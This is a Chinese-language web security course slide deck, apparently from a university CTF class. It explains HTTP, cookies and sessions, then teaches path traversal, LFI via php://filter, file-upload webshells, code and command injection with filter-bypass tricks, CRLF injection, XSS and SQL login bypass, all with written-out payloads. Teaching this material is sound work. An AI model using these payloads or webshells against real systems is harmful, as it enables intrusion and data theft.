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Week 123

The document discusses various web security vulnerabilities, including broken access control and business logic vulnerabilities, along with examples of common attacks like path traversal, XSS, and SQL injection. It also explains the HTTP protocol, detailing request and response structures, headers, and cookies. Additionally, it covers the importance of secure cookie attributes and session management in web applications.

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alessandro.rizzo2019

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0% found this document useful (0 votes)

32 views167 pages

Week 123

Uploaded by

alessandro.rizzo2019

We take content rights seriously. If you suspect this is your content, claim it here.

Available Formats

Download as PDF, TXT or read online on Scribd

You are on page 1/ 167

1

1.
$ whoami

@splitline
Web 🐶
SQLab @ NYCU CSIE
CTF @ 10sec / TSJ
Web
Security
Web
號稱最好上手的資安領域？

Security
Lab: Cat Shop
已經學會了
恭喜🎉 你

Broken Access Control

×
Bussiness Logic Vulnerabilities
Broken Access Control

- /admin_panel 根本沒驗證使用者身份？
- /admin 403 Permission Denied
垂直越權
普通用戶 -> 管理員
- /admin/delUser ???

- /myAccount?user=5 水平越權
- /myAccount?user=6 ??? 使用者A -> 使用者B

Insecure direct object references (IDOR)

Business Logic Vulnerabilities
那，你會幾個？

- Path traversal / Local file inclusion (LFI)

- XSS (Cross site scripting)
- CSRF
- SQL injection
- Command injection
那，你會幾個？

- Path traversal / Local file inclusion (LFI)

- XSS (Cross site scripting)
- CSRF
- SQL injection
- Command injection
http://victim.com/
download.php?file=report_9487.pdf
看到這個網址你會想做什麼？
http://victim.com/
download.php?file=../download.php
download.php
http://victim.com/
download.php?file=../../../etc/passwd
/etc/passwd
http://victim.com/
P at h t r a v e r sa l
download.php?file=../../../etc/passwd
/etc/passwd
Twitter.com
❌
Google.com
✅
Google.com/api
Your name: splitline|
<p>Hi, splitline!</p>
<p>Hi, <h1> splitline </h1>!</p>
<p>Hi, <script> alert(/xss/) </script>!</p>
splitline.tw 顯示

<p>Hi, <script>
/xss/
alert(/xss/) </script>!</p>
確定
splitline.tw 顯示

<p>Hi, <script>
/xss/
XSS
alert(/xss/) </script>!</p>
確定
facebook.com/vuln
?xss=<script>postArticle("Hacked!");</script>
{\__/}
( • - •)
/>🌰
舉個栗子
Ping this IP: 8.8.8.8|
ping -c 1 USER INPUT
ping -c 1 8.8.8.8
ping -c 1 8.8.8.8; ls -al
and Injectionls -al
Com1m8.8.8.8;
ping -c

RCE: Remote Code Execution

所以 Web 是什麼？
後端前端
Backend Frontend
Browser Server
你看不到的你看得到的
Command injection
Path traversal XSS
HTML / CSS /
PHP, Node.js ... JavaScript
HTML / CSS /
PHP, Node.js ... JavaScript
HTML × CSS × JavaScript

HTML CSS JavaScript

https://splitline.tw

Meow 🐱 <!DOCTYPE html>

<html>
Hello, World.
<h1>Meow 🐱</h1>
<p>Hello, World.</p>
</html>

HTML
https://splitline.tw
<!DOCTYPE html>
<html>
Meow 🐱 <style>

Hello, World. body { background-color: cyan; }

h1 { color: red; }
</style>
<h1>Meow 🐱</h1>
<p>Hello, World.</p>
</html>

CSS
https://splitline.tw <!DOCTYPE html>
<html>
splitline.tw 顯示
Meow 🐱 <style>
body { background-color: cyan; }
Hello, World. |
h1 { color: red; }
</style>
取消確定
<h1>Meow 🐱</h1>
<p>Hello, World.</p>
<script>prompt()</script>
</html>

JavaScript
前端
前端框架/套件 Bootstrap, jQuery, React…
Browser
(Client)
前端
Web 前端語言 HTML, CSS, JavaScript

後端
Web 開發框架 Laravel, Express, Spring, Flask…

後端
Web 後端語言 PHP, Node.js, Java, Python…

伺服器 Apache, Nginx, IIS …

資料儲存 Database, Cache, File Storage

運作環境 OS(Linux/Windows), Cloud, Container

HTTP://
HTTP Protocol
HyperText Transfer Protocol

GET /home HTTP/1.1

Host: example.com

HTTP Request

HTTP Response

HTTP/1.1 200 OK
Content-Length: 5
瀏覽器 / Client Server
Meow!
HTTP Protocol
HyperText Transfer Protocol

GET /home HTTP/1.1

Host: example.com

HTTP Request

HTTP Response

HTTP/1.1 200 OK
Content-Length: 5
瀏覽器 / Client Server
Meow!
HTTP Request
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

\r\n: HTTP 使用 CR(\r)LF(\n) 換行

HTTP Request: Method
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

- 動詞，用來表達使用者發出這個請求想幹嘛
- 常見的有 GET, POST, PUT, DELETE, PATCH, HEAD …
HTTP Request: Path
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

http://example.com/login?redirect=%2f#login-form

Path + Query Parameter

HTTP Request: Protocol version
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

- HTTP/0.9 ~ 1.1 Text-based protocol

- HTTP/2 Binary protocol
- HTTP/3 QUIC protocol (UDP)
HTTP Request: Header
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

- 提供 HTTP request 要告訴 server 的一些附加資訊

- More: MDN | HTTP headers - HTTP
HTTP Request: Header
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
curl https://bbc.com -H "Host:
username=admin&password=p455w0rd pypi.org"

- 提供 HTTP request 要告訴 server 的一些附加資訊

- More: MDN | HTTP headers - HTTP
HTTP Request: Header
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com example.com
Host: example.com\r\n (public app)
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n Reverse Proxy

\r\n
��
Content-Length: 32\r\n
internal.service
Host: internal.service
(private app)
username=admin&password=p455w0rd

- 提供 HTTP request 要告訴 server 的一些附加資訊

- More: MDN | HTTP headers - HTTP
HTTP Request: Body
POST /login?redirect=%2f HTTP/1.1\r\n
Host: example.com\r\n
Referer: http://example.com/home\r\n
User-Agent: Mozilla/5.0 …\r\n
Content-Length: 32\r\n
\r\n
username=admin&password=p455w0rd

- POST / PATCH / PUT 會帶上這段資訊

- GET 等 method 通常不會出現此部分
HTTP Protocol
HyperText Transfer Protocol

GET /home HTTP/1.1

Host: example.com

HTTP Request

HTTP Response

HTTP/1.1 200 OK
Content-Length: 5
瀏覽器 / Client Server
Meow!
HTTP Response
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

\r\n: HTTP 使用 CR(\r)LF(\n) 換行

HTTP Response
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

Protocol version and Response status

HTTP#Response
HTTP Status Code

- 1xx:
HTTP/1.1 Found 101 Switching Protocol
修但幾勒
302
- 2xx: 👍
Content-Length: 200 OK
35\r\n
Content-Type:
- 3xx: 走開text/html; charset=UTF-8\r\n
301 Moved Permanently
Location:
- 4xx:https://example.com/\r\n
你怪怪的 403 Forbidden
Server: Apache/2.4.41 (Ubuntu)\r\n
- 5xx: 我怪怪的 500 Internal Server Error
\r\n
Redirecting to <a href="/">/</a>...
HTTP Status Codes Decision Diagram
🐱 http.cat / 🐶 httpstatusdogs.com
Protocol version and Response status
HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

提供 server 要告訴 client 的一些附加資訊

（有可能從而洩露 /得知一些伺服器環境）
HTTP Response: Body
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

HTML / JavaScript / Image / Whatever...

HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

Location （重新導向的目標）使用者可控？

HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

Location （重新導向的目標）使用者可控？

HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
\r\n
<script>alert(1)</script>\r\n
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

?redirect=http://example.com/%0d%0a%0d%0a...
HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n
Location: https://example.com/\r\n
\r\n
<script>alert(1)</script>\r\n

BODY
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

?redirect=http://example.com/%0d%0a%0d%0a...
HTTP Response: Header
HTTP/1.1 302 Found
Content-Length: 35\r\n
Content-Type: text/html; charset=UTF-8\r\n

CRLF Injection
Location: https://example.com/\r\n
\r\n
<script>alert(1)</script>\r\n

BODY
Server: Apache/2.4.41 (Ubuntu)\r\n
\r\n
Redirecting to <a href="/">/</a>...

?redirect=http://example.com/%0d%0a%0d%0a...
Cookie
- 紀錄使用者資訊的一小段資料
- 跟 domain name 和 path 綁定

Visit https://splitline.tw:8080

Domain Path Cookie

splitline.tw / meow=123

google.com / session=c8763

... ... ...

Cookie
我已滿 18 歲 GET / HTTP/1.1

HTTP/1.1 200 OK
(Cookie added)
Set-Cookie: over18=1

over18=1
server

GET / HTTP/1.1
(Next visiting)
Cookie: over18=1
Cookie 屬性
- HttpOnly
- 無法在 JavaScript 中利用 document.cookie 取得

- Secure
- 只有在透過 https:// 傳輸時才會被送出到伺服器

- Expires=<date>
- cookie 會在設定的日期與時間之後失效
- 沒設定則會在瀏覽器關閉後自動失效

- Max-Age=<seconds>
- cookie 會在設定的秒數之後失效
- 優先級比 Expires 高
Session
GET / HTTP/1.1
Cookie: sessionid=8b25bf2a843de1fa

Server
Session ID Data

bc84a40359835cc7 {"username": "admin"}

8b25bf2a843de1fa {"username": "meow"}

0f79e18fbd21ac7a {"username": "guest"}

...
Signed Cookie

GET / HTTP/1.1
Cookie: session=eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.CAAEGc3...

data hmac

{"username": "admin"} hmac(SECRET_KEY, data)

Some Tools You Might Need
F12: Developer Tools
cURL Cheatsheet
curl 'https://example.com'
-i/--include # Show response header
-v/--verbose # Show more message (?)
-d/--data 'key=value&a=b' # HTTP POST data
-X/--request 'PATCH' # Request method
-H/--header 'Host: fb.com' # Set header
-b/--cookie 'user=guest;' # Set cookie
-o/--output 'output.html' # Download result

[Tips] Convert curl syntax to other languages https://curl.trillworks.com

Burp Suite
PHP: Crack course
<html><p>Meow</p><?php /* Your code here... */ ?></html>

echo "Hello, world!";

$variable = 'value'; 變數皆會以 $ 開頭

$str = "Hello,"."world!" 字串可以用 . 來串接

$_GET['id'], $_POST['id'] GET, POST 的參數會擺進對應陣列,

$_COOKIE['over18'] Cookie 可從 $_COOKIE 陣列存取

$_REQUEST = $_GET + $_POST + $_COOKIE

Web Hacking
基礎思路

觀察建置環境尋找漏洞 / fuzz 實際攻擊

(Recon)

- 用什麼語言？ - 理解語言特性/框架原理 - 將漏洞轉為實體危害

- 什麼版本？ - 網站邏輯 - 擴張漏洞的危害性
- 什麼框架？ - 已知框架/套件漏洞
- 架在什麼伺服器？
- ...
Recon (Reconnaissance) / 偵查
- 網站指紋辨識

- Special URL path

- Error message

- HTTP Response Header

- Session ID

- (And more)

- 自動分析網站技術的 browser extension：https://www.wappalyzer.com/

Infomation Leak / 資訊洩漏

- 開發人員忘記關閉 debug mode 或錯誤訊息

- 不小心把不該公開的東西推到 production 上
- 例如：備份、設定檔

- CTF 怕太通靈，只好偷偷給你原始碼 (O)

常見套路

- robots.txt
- .git / .svn / .bzr
- .DS_Store
- .index.php.swp
- Backup files
常見套路
- robots.txt
- 告訴爬蟲什麼該看什麼不該看

- 可能包含不想被爬取的路徑

- 管理後台？

- .git / .svn / .bzr

- .DS_Store
- .index.php.swp
- Backup files
常見套路
- robots.txt
- .git / .svn / .bzr
- 版本控制系統
- 可還原 source code
- Tools (for git)
denny0223/scrabble
lijiejie/GitHack

- .DS_Store
- .index.php.swp
- Backup files HITCON Zeroday ZD-2019-00770
常見套路
- robots.txt
- .git / .svn / .bzr
- .DS_Store
- macOS 上自動產生的隱藏檔

- 可得知資料夾內的文件名稱、路徑

- lijiejie/ds_store_exp

- .index.php.swp
- Backup files
常見套路
- robots.txt
- .git / .svn / .bzr
- .DS_Store
- .index.php.swp
- vim 暫存檔

- 可以直接還原原本的 source

- Backup files
常見套路
- robots.txt
- .git / .svn / .bzr
- .DS_Store
- .index.php.swp
- Backup files
- www.tar.gz

- backup.zip

- …
Google Hacking

- site:nycu.edu.tw
- intext:"管理介面"
- filetype:sql

Google Hacking Database (GHDB):

https://www.exploit-db.com/google-hacking-database
Other tricks
- Dirsearch
- Subdomain enumeration
Upload / LFI

Write / Read for Files

Insecure Upload
Web 兩大世界觀
File-based Route-based

http://splitline.tw/index.php http://splitline.tw/home

Hello, world! Hello, world!

$ cat /var/www/html/index.php @app.route("/home")

<?php echo 'Hello, world!'; ?> def hello():
return "Hello, world!"
Web 兩大世界觀
File-based Route-based

http://splitline.tw/index.php http://splitline.tw/home

Hello, world! Hello, world!

$ cat /var/www/html/index.php @app.route("/home")

<?php echo 'Hello, world!'; ?> def hello():
return "Hello, world!"
Webshell
- Webshell: 在 Web 伺服器上執行任意指令的頁面（shell on Web）
- 沒限制上傳檔案的副檔名：直接上傳 *.php 檔

- 「一句話木馬」：

<?php eval($_GET['code']); ?>

http://example.com/uploads/webshell.php?code=system('id');
Prevent & Bypass

- 檢查 POST Content Type

- 檢查 file signature (magic number)
- 檢查副檔名
- 黑名單
- 白名單
檢查 POST Content Type
POST /upload HTTP/1.1\r\n
Content-Length: 9487\r\n
Content-Type: multipart/form-data; boundary=-----1337\r\n
\r\n
-----1337\r\n
Content-Disposition: form-data; name="UploadFile";
filename="cat.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
(File Content)
File Signature
- https://filesignatures.net/
- 不同類型的檔案都會有各自的 file signature (magic number)
GIF 47 49 46 38 GIF8
PNG 89 50 4e 47 .PNG
File Signature
- https://filesignatures.net/
- 不同類型的檔案都會有各自的 file signature (magic number)
GIF 47 49 46 38 GIF8
PNG 89 50 4e 47 .PNG

- Magic Number + PHP code --> Webshell

GIF89a<?php eval($_GET['code']); ?>

File Extension: Blacklist

No .php ?

- pHP // Change case

- pht, phtml, php[3,4,5,7] …
- html, svg // XSS
- .htaccess
File Extension: .htaccess (Apache2 Feature)

<FilesMatch "meow">
SetHandler application/x-httpd-php
</FilesMatch>

webshell.meow -> 會被當 php 執行

../../Path Traversal
file_get_contents("./files/".$_GET['file'])
http://victim.com/
download.php?file=report_9487.pdf

file_get_contents("./files/".$_GET['file'])

./files/report_9487.pdf
http://victim.com/
download.php?file=../download.php

file_get_contents("./files/".$_GET['file'])

./files/../download.php

--> ./download.php
http://victim.com/
download.php?file=../../../../etc/passwd

file_get_contents("./files/".$_GET['file'])

files/../../../../etc/passwd
/var/www/html/

--> /etc/passwd
Path traversal: Nginx misconﬁguration
Breaking Parser Logic
Orange@Black Hat
Arbitrary File Read
- 任意讀取伺服器上的檔案
- 後端原始碼、敏感資料 etc…

- fopen()

- file_get_contents()

- readfile()

- …

file_get_contents($_GET['page'])
/?page=/etc/passwd
/?page=index.php
Conﬁg ﬁles
- /etc/php/php.ini

- /etc/nginx/nginx.conf

- /etc/apache2/sites-available/000-default.conf

- /etc/apache2/apache2.conf
System information
- User information
- /etc/passwd
- /etc/shadow # 通常要 root 權限

- Proccess information
- /proc/self/cwd # symbolic link 到 cwd
- /proc/self/exe # 目前的執行檔
- /proc/self/environ # 環境變數
- /proc/self/fd/[num] # file descriptor

- /proc/sched_debug # Processes list

Network

- /etc/hosts
- /proc/net/*
- /proc/net/fib_trie
- /proc/net/[tcp,udp]
- /proc/net/route
- /proc/net/arp
Local File Inclusion
- include 伺服器端任意檔案
- require()

- require_once()

- include()

- include_once()

include($_GET['module']);
/?module=phpinfo.php
/?module=phpinfo.php

Parsed 🤔
/?module=php://ﬁlter/convert.base64-enc
ode/resource=phpinfo.php
php://filter/
read=convert.base64-encode/
resource=phpinfo.php
php:// - Manual

php://filter/
read=convert.base64-encode/
resource=phpinfo.php
- <empty>
- read=
- write=

php://filter/
read=convert.base64-encode/
resource=phpinfo.php
List of Available Filters - Manual
- string.rot13
- convert.base64-encode
- zlib.deflate / zlib.inflate
- …
php://filter/
read=convert.base64-encode/
resource=phpinfo.php
php://filter/
read=convert.base64-encode/
resource=phpinfo.php

- Required
- 指定你要輸入 filter 的資料
可以串很多 filter 一起用

php://filter/
read=convert.base64-encode/
read=string.rot13/ 執行順序

...
resource=phpinfo.php
LFI to RCE

- access.log / error.log 可讀
- /proc/self/environ 可讀
- 把 payload 塞在 user-agent 裡面，然後 include 它
- 控制 session 內容
- PHP session 內容預設是以檔案儲存
- include /tmp/sess_{session_name}
LFI to RCE

- session.upload_progress
- session.upload_progress = on; # enabled by default
- https://blog.orange.tw/2018/10/#session-tragedy
- phpinfo
https://insomniasec.com/downloads/publications/LFI+With+P
HPInfo+Assistance.pdf
Injection
「駭客的填字遊戲」
Injection
「日常的填字遊戲」
Injection
- 使用者輸入成為指令、程式碼、查詢的一部分 -> 改變原始程式預期行為
- 包括
- Code injection
- Command injection
- SQL injection
- Server side template injection
- NoSQL injection
- CRLF injection
- ...
Injection
- 使用者輸入成為指令、程式碼、查詢的一部分 -> 改變原始程式預期行為
- 包括
- Code injection
- Command injection
- SQL injection
- Server side template injection
- NoSQL injection
- CRLF injection
- ...
Basic Injection

"+system(Code Injection)+"
Simple Calculator

<?php
echo eval("return ".$_GET['expression'].";");
?>

/calc.php?expression=7*7
Simple Calculator

<?php
echo eval("return ".$_GET['expression'].";");
?>

/calc.php?expression=system("id")
Dangerous function
- PHP
- eval
- assert
- create_function // removed since PHP 8.0

- Python
- exec
- eval

- JavaScript
- eval
- (new Function(/* code */))()
- setTimeout / setInterval
Basic Injection

; $(Command) `Injection`
Cool Ping Service

<?php
system("ping -c 1 ".$_GET['ip']);
?>
Cool Ping Service

ping -c 1 USER INPUT

Cool Ping Service: Normal

ping -c 1 127.0.0.1

/?ip=127.0.0.1
Cool Ping Service: Malicious

ping -c 1 127.0.0.1 ; ls -al

/?ip=127.0.0.1 ; ls -al
Cool Ping Service: Malicious

ping -c 1 127.0.0.1 ; ls -al

用分號結束掉前面的指令

Pwned!
/?ip=127.0.0.1 ; ls -al
Basic Tricks
- ping 127.0.0.1 ; id
- ; -> 結束前面的 command

- ping 127.0.0.1 | id
- A|B -> pipe A 的結果給 B

- ping 127.0.0.1 && id

- A&&B -> A 執行成功才會執行 B

- ping notexist || id
- A||B -> A 執行成功就不會執行 B
Basic Tricks: Command substitution
- cat meow.txt $(id)
- cat meow.txt `id`
- ping "$(id)"

ping "$(id)"
will expand to
ping 'uid=0(root) gid=0(root) groups=0(root)'
You don't really need Space

- cat<TAB>/flag
- cat</flag # Pipeable command
- {cat,/flag}
- cat$IFS/flag # IFS -> Input Field Separators
- X=$'cat\x20/flag'&&$X
Bypass Blacklist

- cat /f'la'g / cat /f"la"g

- cat /f\l\ag
- cat /f*
Wildcard
- cat /f?a?
- cat ${HOME:0:1}etc${HOME:0:1}passwd

"/home/USER"[0:1]
Lab: DNS Lookuper
Basic Injection

SQL Injection' or 1=1--

Introduction to SQL
- Structured Query Language
- 與資料庫溝通的語言
- e.g. MySQL, MSSQL, Oracle, PostgreSQL …

SQL
SELECT * from article
/articles

2 878787 87p@ssw0rd 2021/07/08

3 meow M30W_OWO 2021/11/23

Introduction to SQL Injection

SELECT * FROM user WHERE id=3;DROP TABLE user;

n
id username password create_date

1 iamuser SQ L I n j
123456 e c ti o 2021/02/07

2 878787 87p@ssw0rd 2021/07/08

3 meow M30W_OWO 2021/11/23

https://splitline.tw/admin

Username

Password

背後 SQL 會怎麼寫？
https://splitline.tw/admin

Username

Password

SELECT * FROM admin WHERE

username = 'input' AND password = 'input'
https://splitline.tw/admin

notexist

xxx

SELECT * FROM admin WHERE

username = 'notexist' AND password = 'xxx'
https://splitline.tw/admin

notexist

Password

SELECT * FROM admin WHERE

username = 'notexist' AND password = 'xxx'
https://splitline.tw/admin

admin

p@55w0rd

SELECT * FROM admin WHERE

username = 'admin' AND password = 'p@55w0rd'
https://splitline.tw/admin

admin

p@55w0rd

SELECT * FROM admin WHERE

username = 'admin' AND password = 'p@55w0rd'
https://splitline.tw/admin

admin' or 1=1--

SELECT * FROM admin WHERE

username = 'admin' or 1=1 -- ' AND password = 'x'
https://splitline.tw/admin

admin' or 1=1--

SELECT * FROM admin WHERE

username = 'admin' or 1=1 -- ' AND password = 'x'
SELECT * FROM admin WHERE username =
'admin' or 1=1 -- ' AND password = 'x'

註解
閉合單引號 TRUE
SELECT * FROM admin WHERE username =
'admin' or 1=1 -- ' AND password = 'x'
SELECT * FROM admin WHERE username =
ED password = 'x'
'admin' or 1=1 -- A'CKAND
H
Lab: Let me in!
Homework
- 4 + 1 Homeworks
- 完成 Lab + 四個作業即可拿滿分數（1000 分）
- 想刷 ranking（？）可以解滿五題
- 可能會遇到的後端框架 / 語言
- PHP
- Python
- Golang
- Node.js
- ...
Week 0x01 Week 0x02 Week 0x03
--- --- ---

Easy × 1 Medium × 1 Advanced × 1

Medium × 1 Advanced × 1
Imgura Easy

Profile Medium
Learning Resources

- Web Security Academy portswigger.net/web-security

- BugBountyHunter www.bugbountyhunter.com
- TryHackMe tryhackme.com
- Labs
- Juice Shop github.com/juice-shop/juice-shop
- DVWA dvwa.co.uk
次回予告
- SQL injection: Advanced
- Server-side request forgery (SSRF)
- Insecure deserialization
- Frontend security
- XSS
- CSRF
- CSP